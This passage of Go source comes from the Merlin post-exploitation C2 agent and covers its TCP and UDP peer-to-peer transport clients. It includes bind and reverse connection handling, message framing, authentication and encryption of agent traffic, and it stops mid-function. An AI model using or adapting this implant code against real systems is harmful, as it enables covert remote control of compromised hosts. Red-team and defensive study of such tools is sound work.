writing %d incoming bytes to the local buffer: %s", n, err) client.connection = nil return } // If this is the first read on the connection determine the tag and data length if tag == 0 { // Ensure we have enough data to read the tag/type which is 4-bytes if buff.Len() < 4 { cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len())) continue } tag = binary.BigEndian.Uint32(respData[:4]) if tag != 1 { err = fmt.Errorf("clients/tcp.Listen(): Expected a type/tag value of 1 for TLV but got %d", tag) client.connection = nil return } } if length == 0 { // Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size if buff.Len() < 12 { cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len())) continue } length = binary.BigEndian.Uint64(respData[4:12]) } // If we've read all the data according to the length provided in TLV, then break the for loop // Type/Tag size is 4-bytes, Length size is 8-bytes for TLV if uint64(buff.Len()) == length+4+8 { cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length)) break } else { cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): Read %d of %d bytes into the buffer", buff.Len(), length)) } } cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from TCP connection %s at %s", buff.Len(), client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339))) var msg messages.Base // Type/Tag size is 4-bytes, Length size is 8-bytes for a total of 12-bytes for TLV msg, err = client.Deconstruct(buff.Bytes()[12:]) if err != nil { err = fmt.Errorf("clients/tcp.Listen(): there was an error deconstructing the data: %s", err) return } returnMessages = append(returnMessages, msg) return } // Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream. // This function DOES not wait or listen for response messages. func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Send(): entering into function with Base message: %+v", m)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Send(): leaving function with error: %v and returnMessages: %+v", err, returnMessages)) // Recover connection if client.connection == nil { switch client.mode { case BIND: // If the connection is empty and this is a BIND agent, wait here for listener to receive a connection cli.Message(cli.NOTE, fmt.Sprintf("Waiting for a client connection before sending message at %s", time.Now().UTC().Format(time.RFC3339))) <-client.connected case REVERSE: // Signal to the listen() function that we are attempting to recover the connection client.Lock() client.sending = true client.Unlock() // If the connection is empty and this is a REVERSE agent, attempt to connect to the listener cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339))) err = client.Connect() if err != nil { err = fmt.Errorf("clients/tcp.Send(): %s", err) return } // Once the connection has successfully been recovered, and a message has been sent, reset the sending signal for the listen() function defer func() { client.Lock() client.sending = false client.Unlock() }() } } if !client.authenticated && m.Type != messages.OPAQUE { cli.Message(cli.INFO, fmt.Sprintf("Waiting for authentication to complete before sending message at %s", time.Now().UTC().Format(time.RFC3339))) <-client.authComplete cli.Message(cli.INFO, fmt.Sprintf("Authentication completed, continuing with sending held message at %s", time.Now().UTC().Format(time.RFC3339))) } // Set the message padding if client.paddingMax > 0 { // #nosec G404 -- Random number does not impact security m.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.paddingMax)) } data, err := client.Construct(m) if err != nil { err = fmt.Errorf("clients/tcp.Send(): there was an error constructing the data: %s", err) return } delegate := messages.Delegate{ Listener: client.listenerID, Agent: client.agentID, Payload: data, } // Convert messages.Base to gob // Still need this for agent to agent message encoding delegateBytes := new(bytes.Buffer) err = gob.NewEncoder(delegateBytes).Encode(delegate) if err != nil { err = fmt.Errorf("there was an error encoding the %s message to a gob:\r\n%s", m.Type, err) return } cli.Message(cli.NOTE, fmt.Sprintf("Sending %s message to %s at %s", m.Type, client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339))) // Add in Tag/Type and Length for TLV tag := make([]byte, 4) binary.BigEndian.PutUint32(tag, 1) length := make([]byte, 8) binary.BigEndian.PutUint64(length, uint64(delegateBytes.Len())) // Create TLV outData := append(tag, length...) outData = append(outData, delegateBytes.Bytes()...) cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Send(): Added Tag: %d and Length: %d to data size of %d\n", tag, uint64(delegateBytes.Len()), len(outData))) // Write the message cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Send(): Writing message size: %d to: %s", len(outData), client.connection.RemoteAddr())) n, err := client.connection.Write(outData) if err != nil { err = fmt.Errorf("there was an error writing the message to the connection with %s: %s", client.connection.RemoteAddr(), err) return } cli.Message(cli.NOTE, fmt.Sprintf("Wrote %d bytes to connection %s", n, client.connection.RemoteAddr())) return } // SendAndWait takes in a Merlin message, encodes/encrypts it, and writes it to the output stream and then waits for response // messages and returns them func (client *Client) SendAndWait(m messages.Base) (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, "Entering into clients/tcp.SendAndWait()...") // Send returnMessages, err = client.Send(m) if err != nil { err = fmt.Errorf("clients/tcp.SendAndWait(): %s", err) return } // Listen return client.Listen() } // Get is a generic function that is used to retrieve the value of a Client's field func (client *Client) Get(key string) (value string) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Get(): entering into function with key: %s", key)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Get(): leaving function with value: %s", value)) switch strings.ToLower(key) { case "ja3": return "" case "paddingmax": value = strconv.Itoa(client.paddingMax) case "protocol": value = client.String() default: value = fmt.Sprintf("unknown client configuration setting: %s", key) } return } // Set is a generic function that is used to modify a Client's field values func (client *Client) Set(key string, value string) (err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Set(): entering into function with key: %s, value: %s", key, value)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Set(): exiting function with err: %v", err)) client.Lock() defer client.Unlock() switch strings.ToLower(key) { case "addr": // Validate the address _, err = net.ResolveTCPAddr("tcp", value) if err != nil { err = fmt.Errorf("clients/tcp.Set(): there was an error parsing the provide address %s : %s", value, err) return } // Close the connection err = client.connection.Close() if err != nil { err = fmt.Errorf("clients/tcp.Set(): there was an error closing the connection: %s", err) return } client.connection = nil if client.mode == BIND { // Close the listener err = client.listener.Close() if err != nil { err = fmt.Errorf("clients/tcp.Set(): there was an error closing the listener: %s", err) return } } client.listener = nil client.address = value case "listener": var id uuid.UUID id, err = uuid.Parse(value) if err != nil { return fmt.Errorf("clients/tcp.Set(): %s", err) } client.listenerID = id case "paddingmax": client.paddingMax, err = strconv.Atoi(value) case "secret": client.secret = []byte(value) default: err = fmt.Errorf("unknown tcp client setting: %s", key) } return err } // String returns the type of TCP client func (client *Client) String() string { switch client.mode { case BIND: return "tcp-bind" case REVERSE: return "tcp-reverse" default: return "tcp-unhandled" } } // Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages // can be sent/received. func (client *Client) Synchronous() bool { switch client.mode { case BIND: return true case REVERSE: return true default: return false } } ================================================ FILE: clients/tcp/tcp_exclude.go ================================================ //go:build !tcp && (http || http1 || http2 || http3 || mythic || winhttp || smb || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package tcp contains a configurable client used for TCP-based peer-to-peer Agent communications package tcp import ( // Standard "fmt" // 3rd Party "github.com/google/uuid" // Internal messages "github.com/Ne0nd0g/merlin-message" ) // Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server type Client struct { } // Config is a structure used to pass in all necessary information to instantiate a new Client type Config struct { Address []string // Address the interface and port the agent will bind to AgentID uuid.UUID // AgentID the Agent's UUID AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with Padding string // Padding the max amount of data that will be randomly selected and appended to every message PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE) } // New instantiates and returns a Client that is constructed from the passed in Config func New(Config) (*Client, error) { return nil, fmt.Errorf("clients/tcp.New(): TCP client not compiled into this program") } // Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol // The function must take in a Base message for when the C2 server requests re-authentication through a message func (client *Client) Authenticate(messages.Base) (err error) { return fmt.Errorf("clients/tcp.Authenticate(): TCP client not compiled into this program") } // Get is a generic function used to retrieve the value of a Client's field func (client *Client) Get(string) string { return fmt.Sprintf("clients/tcp.Get(): TCP client not compiled into this program") } // Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent func (client *Client) Initial() error { return fmt.Errorf("clients/tcp.Initial(): TCP client not compiled into this program") } // Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them func (client *Client) Listen() (returnMessages []messages.Base, err error) { err = fmt.Errorf("clients/tcp.LIsten(): TCP client not compiled into this program") return } // Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream. // This function DOES not wait or listen for response messages. func (client *Client) Send(messages.Base) (returnMessages []messages.Base, err error) { err = fmt.Errorf("clients/tcp.Send(): TCP client not compiled into this program") return } // Set is a generic function that is used to modify a Client's field values func (client *Client) Set(key string, value string) error { return fmt.Errorf("clients/tcp.Set(): TCP client not compiled into this program") } // Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages // can be sent/received. func (client *Client) Synchronous() bool { return false } ================================================ FILE: clients/udp/udp.go ================================================ //go:build udp || !(http || http1 || http2 || http3 || mythic || winhttp || smb || tcp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package udp contains a configurable client used for UDP-based peer-to-peer Agent communications package udp import ( // Standard "bytes" "crypto/sha256" "encoding/base64" "encoding/binary" "encoding/gob" "fmt" "math" "math/rand" "net" "strconv" "strings" "sync" "time" // 3rd Party "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message" // Internal "github.com/Ne0nd0g/merlin-agent/v2/authenticators" "github.com/Ne0nd0g/merlin-agent/v2/authenticators/none" "github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque" "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/core" transformer "github.com/Ne0nd0g/merlin-agent/v2/transformers" b64 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64" gob2 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor" ) const ( BIND = 0 REVERSE = 1 ) const ( // MaxSize is the maximum size that a UDP fragment can be, following the moderate school of thought due to 1500 MTU // http://ithare.com/udp-from-mog-perspective/ MaxSize = 1450 ) // Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server type Client struct { address string // address is the network interface and port the agent will bind to agentID uuid.UUID // agentID the Agent's UUID authComplete chan bool // authComplete is a channel that is used to block sending messages until the Agent has successfully completed authenticated authenticated bool // authenticated tracks if the Agent has successfully authenticated authenticator authenticators.Authenticator // authenticator the method the Agent will use to authenticate to the server client net.Addr // client is the address of the UDP client that initiated the connection, returned from PacketConn.ReadFrom connected chan bool // connected is a channel that is used to track if the Agent is connected to a Parent connection net.Conn // connection the network socket connection used to handle traffic listener net.PacketConn // listener the network socket connection listening for traffic listenerID uuid.UUID // listenerID the UUID of the listener that this Agent is configured to communicate with paddingMax int // paddingMax the maximum amount of random padding to apply to every Base message psk string // psk the pre-shared key used for encrypting messages until authentication is complete secret []byte // secret the key used to encrypt messages transformers []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message mode int // mode the type of client or communication mode (e.g., BIND or REVERSE) sync.Mutex // used to lock the Client when changes are being made by one function or routine } // Config is a structure that is used to pass in all necessary information to instantiate a new Client type Config struct { Address []string // Address the interface and port the agent will bind to AgentID uuid.UUID // AgentID the Agent's UUID AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with Padding string // Padding the max amount of data that will be randomly selected and appended to every message PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE) } // New instantiates and returns a Client that is constructed from the passed in Config func New(config Config) (*Client, error) { cli.Message(cli.DEBUG, "Entering into clients/udp.New()...") cli.Message(cli.DEBUG, fmt.Sprintf("Config: %+v", config)) client := Client{} client.authComplete = make(chan bool, 1) client.connected = make(chan bool, 1) if config.AgentID == uuid.Nil { return nil, fmt.Errorf("clients/udp.New(): a nil Agent UUID was provided") } client.agentID = config.AgentID if config.ListenerID == uuid.Nil { return nil, fmt.Errorf("clients/udp.New(): a nil Listener UUID was provided") } switch strings.ToLower(config.Mode) { case "udp-bind": client.mode = BIND case "udp-reverse": client.mode = REVERSE default: client.mode = BIND } client.listenerID = config.ListenerID client.psk = config.PSK // Parse Address and validate it if len(config.Address) <= 0 { return nil, fmt.Errorf("a configuration address value was not provided") } _, err := net.ResolveUDPAddr("udp", config.Address[0]) if err != nil { return nil, err } client.address = config.Address[0] // Set secret for encryption k := sha256.Sum256([]byte(client.psk)) client.secret = k[:] cli.Message(cli.DEBUG, fmt.Sprintf("new client PSK: %s", client.psk)) cli.Message(cli.DEBUG, fmt.Sprintf("new client Secret: %x", client.secret)) //Convert Padding from string to an integer if config.Padding != "" { client.paddingMax, err = strconv.Atoi(config.Padding) if err != nil { return &client, fmt.Errorf("there was an error converting the padding max to an integer:\r\n%s", err) } } else { client.paddingMax = 0 } // Authenticator switch strings.ToLower(config.AuthPackage) { case "opaque": client.authenticator = opaque.New(config.AgentID) case "none": client.authenticator = none.New(config.AgentID) default: return nil, fmt.Errorf("an authenticator must be provided (e.g., 'opaque'") } // Transformers transforms := strings.Split(config.Transformers, ",") for _, transform := range transforms { var t transformer.Transformer switch strings.ToLower(transform) { case "aes": t = aes.NewEncrypter() case "base64-byte": t = b64.NewEncoder(b64.BYTE) case "base64-string": t = b64.NewEncoder(b64.STRING) case "gob-base": t = gob2.NewEncoder(gob2.BASE) case "gob-string": t = gob2.NewEncoder(gob2.STRING) case "hex-byte": t = hex.NewEncoder(hex.BYTE) case "hex-string": t = hex.NewEncoder(hex.STRING) case "jwe": t = jwe.NewEncrypter() case "rc4": t = rc4.NewEncrypter() case "xor": t = xor.NewEncrypter() default: err := fmt.Errorf("clients/udp.New(): unhandled transform type: %s", transform) if err != nil { return nil, err } } client.transformers = append(client.transformers, t) } cli.Message(cli.INFO, "Client information:") cli.Message(cli.INFO, fmt.Sprintf("\tProtocol: %s", &client)) cli.Message(cli.INFO, fmt.Sprintf("\tAddress: %s", client.address)) cli.Message(cli.INFO, fmt.Sprintf("\tListener: %s", client.listenerID)) cli.Message(cli.INFO, fmt.Sprintf("\tAuthenticator: %s", client.authenticator)) cli.Message(cli.INFO, fmt.Sprintf("\tTransforms: %+v", client.transformers)) cli.Message(cli.INFO, fmt.Sprintf("\tPadding: %d", client.paddingMax)) return &client, nil } // Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent func (client *Client) Initial() (err error) { cli.Message(cli.DEBUG, "clients/upd.Initial(): entering clients/udp.Initial() function") defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/upd.Initial(): exiting function with error: %+v", err)) err = client.Connect() if err != nil { return fmt.Errorf("clients/udp.Initial(): %s", err) } <-client.connected // Authenticate return client.Authenticate(messages.Base{}) } // Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol // The function must take in a Base message for when the C2 server requests re-authentication through a message func (client *Client) Authenticate(msg messages.Base) (err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Authenticate(): entering into function with message: %+v", msg)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Authenticate(): leaving function with error: %+v", err)) client.Lock() client.authenticated = false client.Unlock() if len(client.authComplete) > 0 { <-client.authComplete } var authenticated bool // Reset the Agent's PSK k := sha256.Sum256([]byte(client.psk)) client.Lock() client.secret = k[:] client.Unlock() // Repeat until authenticator is complete and Agent is authenticated for { msg, authenticated, err = client.authenticator.Authenticate(msg) if err != nil { return } // An empty message was received indicating to exit the function if msg.Type == 0 { return } // Once authenticated, update the client's secret used to encrypt messages if authenticated { client.Lock() client.authenticated = true client.Unlock() var key []byte key, err = client.authenticator.Secret() if err != nil { return } // Don't update the secret if the authenticator returned an empty key if len(key) > 0 { client.Lock() client.secret = key client.Unlock() } } if msg.Type == messages.OPAQUE { // Send the message to the server var msgs []messages.Base msgs, err = client.SendAndWait(msg) if err != nil { return } // Add response message to the next loop iteration if len(msgs) > 0 { // Don't add IDLE messages, just continue on if msgs[0].Type != messages.IDLE { msg = msgs[0] } } } else { _, err = client.Send(msg) if err != nil { return } } // If the Agent is authenticated, exit the loop and return the function if authenticated { client.authComplete <- true return } } } // Connect establish a connection with the remote host depending on the Client's type (e.g., BIND or REVERSE) func (client *Client) Connect() (err error) { cli.Message(cli.DEBUG, "Entering clients/udp.Connect() function") defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/upd.Connect(): exiting function with error: %+v", err)) client.Lock() defer client.Unlock() // Ensure the connected channel is empty. If the Agent's sleep is less than 0, the channel might be full from a prior reconnect if len(client.connected) > 0 { <-client.connected } switch client.mode { case BIND: // Will hit this if connection was lost during initialization steps because a Listener will already exist if client.listener == nil { client.listener, err = net.ListenPacket("udp", client.address) if err != nil { err = fmt.Errorf("clients/udp.Connect(): there was an error listening on %s: %s", client.address, err) return } cli.Message(cli.NOTE, fmt.Sprintf("Started %s listener on %s", client, client.address)) } var n int buffer := make([]byte, 4096) cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming connection at %s...", time.Now().UTC().Format(time.RFC3339))) // First connection is junk data to establish a connection but otherwise has no value or meaning and can be discarded n, client.client, err = client.listener.ReadFrom(buffer) cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from UDP connection %s at %s", n, client.client, time.Now().UTC().Format(time.RFC3339))) if err != nil { err = fmt.Errorf("clients/udp.Connect(): there was an error reading data from %s : %s", client.client, err) return } client.connected <- true // When an Agent previously authenticated, has a sleep less than 0, and has been unlinked, it will send an IDLE message to the server when a new link is established if client.authenticated { cli.Message(cli.NOTE, fmt.Sprintf("Sending gratuitious StatusCheckIn at %s...", time.Now().UTC().Format(time.RFC3339))) _, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN}) if err != nil { err = fmt.Errorf("clients/udp.Listen(): %s", err) return } } return case REVERSE: client.connection, err = net.Dial("udp", client.address) if err != nil { err = fmt.Errorf("clients/udp.Connect(): there was an error connecting to %s: %s", client.address, err) return } client.client = client.connection.RemoteAddr() cli.Message(cli.SUCCESS, fmt.Sprintf("Successfully connected to %s from %s at %s", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339))) client.connected <- true return default: return fmt.Errorf("clients/udp.Connect(): unhandled UDP client mode: %d", client.mode) } } // Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms // on it to encode and encrypt it. func (client *Client) Construct(msg messages.Base) (data []byte, err error) { for i := len(client.transformers); i > 0; i-- { if i == len(client.transformers) { // First call should always take a Base message data, err = client.transformers[i-1].Construct(msg, client.secret) } else { data, err = client.transformers[i-1].Construct(data, client.secret) } if err != nil { return nil, fmt.Errorf("clients/udp.Construct(): there was an error calling the transformer construct function: %s", err) } } return } // Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until // a messages.Base structure is returned. The key is used for decryption transforms func (client *Client) Deconstruct(data []byte) (messages.Base, error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Deconstruct(): entering into function with message: %+v", data)) //fmt.Printf("Deconstructing %d bytes with key: %x\n", len(data), client.secret) for _, transform := range client.transformers { //fmt.Printf("Transformer %T: %+v\n", transform, transform) ret, err := transform.Deconstruct(data, client.secret) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("clients/udp.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK")) // Try to see if the PSK works k := sha256.Sum256([]byte(client.psk)) ret, err = transform.Deconstruct(data, k[:]) if err != nil { return messages.Base{}, err } // If the PSK worked, assume the agent is unauthenticated to the server client.authenticated = false client.secret = k[:] } switch ret.(type) { case []uint8: data = ret.([]byte) case string: data = []byte(ret.(string)) // Probably not what I should be doing case messages.Base: //fmt.Printf("pkg/listeners.Deconstruct(): returning Base message: %+v\n", ret.(messages.Base)) return ret.(messages.Base), nil default: return messages.Base{}, fmt.Errorf("clients/udp.Deconstruct(): unhandled data type for Deconstruct(): %T", ret) } } return messages.Base{}, fmt.Errorf("clients/udp.Deconstruct(): unable to transform data into messages.Base structure") } // Listen is composed of an infinite loop that waits up to 5 minutes per loop to receive a UDP connection from a peer func (client *Client) Listen() (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, "clients/udp.Listen(): entering into function") defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): leaving function with messages: %+v and error: %+v", returnMessages, err)) // Repair broken connections if client.mode == REVERSE && client.connection == nil { // If the connection is empty and this is a REVERSE agent, wait here until the connection is established cli.Message(cli.INFO, fmt.Sprintf("Waiting for a client connection before listening for messages at %s", time.Now().UTC().Format(time.RFC3339))) <-client.connected cli.Message(cli.SUCCESS, fmt.Sprintf("Client connection re-esablished at %s", time.Now().UTC().Format(time.RFC3339))) } else if client.mode == BIND && client.listener == nil { // If the connection is empty and this is a BIND agent, wait for connection from Parent Agent cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339))) err = client.Connect() if err != nil { err = fmt.Errorf("clients/udp.Listen(): %s", err) return } } if client.mode == BIND { cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming messages from %v on %v at %s...", client.client, client.address, time.Now().UTC().Format(time.RFC3339))) } else { cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming messages from %s on %s at %s...", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339))) } readTimeout := time.Minute * 5 var n int var tag uint32 var length uint64 var buff bytes.Buffer for { respData := make([]byte, MaxSize) switch client.mode { case BIND: n, client.client, err = client.listener.ReadFrom(respData) case REVERSE: err = client.connection.SetReadDeadline(time.Now().Add(readTimeout)) if err != nil { cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): there was an error setting the connection read deadline to 5 minutes: %s", err)) } n, err = client.connection.Read(respData) } // Add the bytes to the buffer n, err = buff.Write(respData[:n]) if err != nil { err = fmt.Errorf("clients/udp.Listen(): there was an error writing %d incoming bytes to the local buffer: %s", n, err) client.connection = nil return } // If this is the first read on the connection determine the tag and data length if tag == 0 { // Ensure we have enough data to read the tag/type which is 4-bytes if buff.Len() < 4 { cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len())) continue } tag = binary.BigEndian.Uint32(respData[:4]) if tag != 1 { err = fmt.Errorf("clients/udp.Listen(): Expected a type/tag value of 1 for TLV but got %d", tag) client.connection = nil return } } if length == 0 { // Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size if buff.Len() < 12 { cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len())) continue } length = binary.BigEndian.Uint64(respData[4:12]) } // If we've read all the data according to the length provided in TLV, then break the for loop // Type/Tag size is 4-bytes, Length size is 8-bytes for TLV if uint64(buff.Len()) == length+4+8 { cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length)) break } else { cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): Read %d of %d bytes into the buffer", buff.Len(), length)) } } cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from UDP connection %s at %s", buff.Len(), client.client, time.Now().UTC().Format(time.RFC3339))) if err != nil { switch err2 := err.(type) { case net.Error: if err2.Timeout() { err = fmt.Errorf("clients/udp.Listen(): The UDP connection read time of %s was reached: %s", readTimeout, err) return } default: err = fmt.Errorf("clients/udp.Listen(): there was an error reading the message from the connection with %s: %s", client.client, err) } return } var msg messages.Base // Type/Tag size is 4-bytes, Length size is 8-bytes for a total of 12-bytes for TLV msg, err = client.Deconstruct(buff.Bytes()[12:]) if err != nil { err = fmt.Errorf("clients/udp.Listen(): there was an error deconstructing the data: %s", err) cli.Message(cli.DEBUG, err.Error()) // See if the data was from initial link command from another agent b64Data := make([]byte, base64.StdEncoding.EncodedLen(n)) _, errBase64 := base64.StdEncoding.Decode(b64Data, buff.Bytes()[12:]) if errBase64 == nil { cli.Message(cli.INFO, fmt.Sprintf("Received Base64 encoded string from %s. Treating as a new connection...", client.client)) // Send gratuitous checkin to provide parent Agent with linked agent data if client.authenticated { _, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN}) } return } return } returnMessages = append(returnMessages, msg) return } // Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream // The function also decodes and decrypts response messages and return a Merlin message structure. // This is where the client's logic is for communicating with the server. func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Send(): entering into function with message: %+v", m)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Send(): exiting function with error: %v and return messages: %+v", err, returnMessages)) // Recover connection if client.mode == REVERSE && client.connection == nil { // If the connection is empty and this is a REVERSE agent, attempt to connect to the listener cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339))) err = client.Connect() if err != nil { err = fmt.Errorf("clients/udp.Send(): %s", err) return } } else if client.mode == BIND && client.client == nil { // If the connection is empty and this is a BIND agent, wait here for listener to receive a connection cli.Message(cli.INFO, fmt.Sprintf("Waiting for a client connection before sending message at %s", time.Now().UTC().Format(time.RFC3339))) <-client.connected } if !client.authenticated && m.Type != messages.OPAQUE { cli.Message(cli.INFO, fmt.Sprintf("Waiting for authentication to complete before sending message at %s", time.Now().UTC().Format(time.RFC3339))) <-client.authComplete cli.Message(cli.INFO, fmt.Sprintf("Authentication completed, continuing with sending held message at %s", time.Now().UTC().Format(time.RFC3339))) } cli.Message(cli.NOTE, fmt.Sprintf("Sending %s message to %s at %s", m.Type, client.client, time.Now().UTC().Format(time.RFC3339))) // Set the message padding if client.paddingMax > 0 { // #nosec G404 -- Random number does not impact security m.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.paddingMax)) } data, err := client.Construct(m) if err != nil { err = fmt.Errorf("clients/udp.Send(): there was an error constructing the data: %s", err) return } delegate := messages.Delegate{ Listener: client.listenerID, Agent: client.agentID, Payload: data, } // Convert messages.Base to gob // Still need this for agent to agent message encoding delegateBytes := new(bytes.Buffer) err = gob.NewEncoder(delegateBytes).Encode(delegate) if err != nil { err = fmt.Errorf("clients/udp.Send(): there was an error encoding the %s message to a gob:\r\n%s", m.Type, err) return } // Add in Tag/Type and Length for TLV tag := make([]byte, 4) binary.BigEndian.PutUint32(tag, 1) length := make([]byte, 8) binary.BigEndian.PutUint64(length, uint64(delegateBytes.Len())) // Create TLV outData := append(tag, length...) outData = append(outData, delegateBytes.Bytes()...) cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Send(): Added Tag: %d and Length: %d to data size of %d", tag, uint64(delegateBytes.Len()), len(outData))) // Determine number of fragments based on MaxSize fragments := int(math.Ceil(float64(len(outData)) / float64(MaxSize))) // Write the message cli.Message(cli.NOTE, fmt.Sprintf("Writing message size %d bytes equaling %d fragments to %s at %s", len(outData), fragments, client.client, time.Now().UTC().Format(time.RFC3339))) var n int var i int size := len(outData) for i < fragments { start := i * MaxSize var stop int // if bytes remaining are less than max size, read until the end if size < MaxSize { stop = len(outData) } else { stop = (i + 1) * MaxSize } switch client.mode { case BIND: //fmt.Printf("[*-%d]%d:%d\n", i, start, stop) n, err = client.listener.WriteTo(outData[start:stop], client.client) cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Send(): Wrote %d bytes from %s to connection %s at %s", n, client.listener.LocalAddr(), client.client, time.Now().UTC().Format(time.RFC3339))) case REVERSE: n, err = client.connection.Write(outData[start:stop]) cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Send(): Wrote %d bytes from %s to connection %s at %s", n, 